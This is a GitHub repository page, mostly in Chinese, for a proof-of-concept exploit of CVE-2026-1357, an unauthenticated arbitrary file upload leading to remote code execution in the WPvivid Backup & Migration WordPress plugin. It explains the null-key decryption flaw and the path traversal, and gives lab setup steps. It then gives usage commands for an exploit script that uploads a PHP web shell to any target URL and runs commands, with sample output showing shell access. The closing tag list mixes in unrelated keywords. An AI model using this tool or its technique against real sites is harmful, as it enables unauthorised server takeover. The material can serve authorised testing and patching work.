halilkirazkaya/CVE-2026-1357

GitHub: halilkirazkaya/CVE-2026-1357

针对 WordPress WPvivid 备份插件高危 RCE 漏洞(CVE-2026-1357)的 PoC 利用工具,利用加密验证缺陷和路径遍历实现未认证远程代码执行。

Stars: 11 | Forks: 2

# CVE-2026-1357 — WPvivid Backup & Migration RCE **未认证任意文件上传 → 远程代码执行** | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-1357 | | **CVSS** | 9.8 (严重) | | **Plugin** | WPvivid Backup & Migration | | **受影响版本** | ≤ 0.9.123 | | **已修复版本** | 0.9.124 | | **发现者** | Lucas Montes (NiRoX) | | **PoC 提供者** | halilkirazkaya | ## 概述 WPvivid Backup & Migration 插件(≤ 0.9.123)包含一个严重漏洞,允许**未经验证的攻击者**向服务器上传任意 PHP 文件,从而导致**远程代码执行 (RCE)**。 该漏洞利用链结合了两个漏洞: ### 1. 加密验证缺失 (Cryptographic Fail-Open) 该插件通过 `wpvivid_action=send_to_site` Hook 处理远程备份传输。在解密会话密钥时,如果 RSA 密钥格式错误,`openssl_private_decrypt()` 会返回 `false`。该插件**未检查**此返回值,而是将 `false` 传递给 phpseclib v1 的 `Crypt_Rijndael`,后者将其视为 **16 字节空密钥**(`\x00` × 16),模式为 CBC,IV 为空。 ### 2. 路径遍历 (Path Traversal) 解密后的 JSON Payload 中的 `name` 参数**未经过滤**。攻击者可以使用 `../` 序列将 PHP 文件写入受限备份目录之外的可公开访问的 `wp-content/uploads/` 目录。 ### 限制条件 必须在插件设置中生成过 `wpvivid_api_token`,且该 Token 未过期。 ## 环境搭建 ### 1. 下载受影响插件 下载并解压 WPvivid Backup & Migration **v0.9.123**(受影响版本): ``` wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip unzip wpvivid-backuprestore.0.9.123.zip ``` 这将创建 `wpvivid-backuprestore/` 目录,该目录会通过 `docker-compose.yml` 挂载到 Docker 容器中。 ### 2. 启动实验环境 ``` docker compose up -d ``` ### 3. 配置 WordPress 1. 打开 `http://localhost` 并完成 WordPress 安装。 2. 转到 **Plugins → Installed Plugins** 并激活 **WPvivid Backup & Migration**。 3. 转到 **WPvivid → Settings → Auto-Migration** 并点击 **Generate** 创建密钥(这将启用受影响的代码路径)。 ### 4. 安装依赖 ``` pip install -r requirements.txt ``` ## 用法 ``` # 仅检查漏洞(上传无害 txt 文件并验证 MD5) python3 exploit.py -u http://TARGET-URL -c # 上传 shell 并运行默认命令 (id) python3 exploit.py -u http://TARGET-URL -s # 上传 shell 并运行自定义命令 python3 exploit.py -u http://TARGET-URL -s "whoami" ``` ### 示例输出 (检查模式) ``` [*] Target : http://localhost/ [*] Mode : Check [*] Upload path : ../uploads/h8xq9b3v2z1c.txt [+] Generating encrypted payload (AES-128-CBC, null key + null IV)... [+] Payload size : 392 bytes (base64) [+] Sending exploit via wpvivid_action=send_to_site ... [+] Response : 200 [+] Body : {"result":"success","op":"finished"} [+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt [✓] Vulnerability Confirmed! File content matches MD5. ``` ### 示例输出 (Shell 模式) ``` [*] Target : http://localhost/ [*] Mode : Shell [*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php [*] Verify cmd : id [+] Generating encrypted payload (AES-128-CBC, null key + null IV)... [+] Payload size : 392 bytes (base64) [+] Sending exploit via wpvivid_action=send_to_site ... [+] Response : 200 [+] Body : {"result":"success","op":"finished"} [+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id [✓] RCE Confirmed! [✓] Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 参考资料 - [Wordfence 咨询](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-09123-unauthenticated-arbitrary-file-upload) - [LucasM0ntes 提供的原 PoC](https://github.com/LucasM0ntes/POC-CVE-2026-1357) ## 免责声明 本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。请负责任地使用。
标签:CISA项目, CVE-2026-1357, CVSS 9.8, OpenVAS, PHP, PoC, RCE, Web安全, WordPress安全, WordPress插件漏洞, WPvivid Backup & Migration, 任意文件上传, 加密缺陷, 安全测试工具, 提示词注入, 操作系统监控, 文件写入, 文件完整性监控, 暴力破解, 未授权访问, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 请求拦截, 路径遍历, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞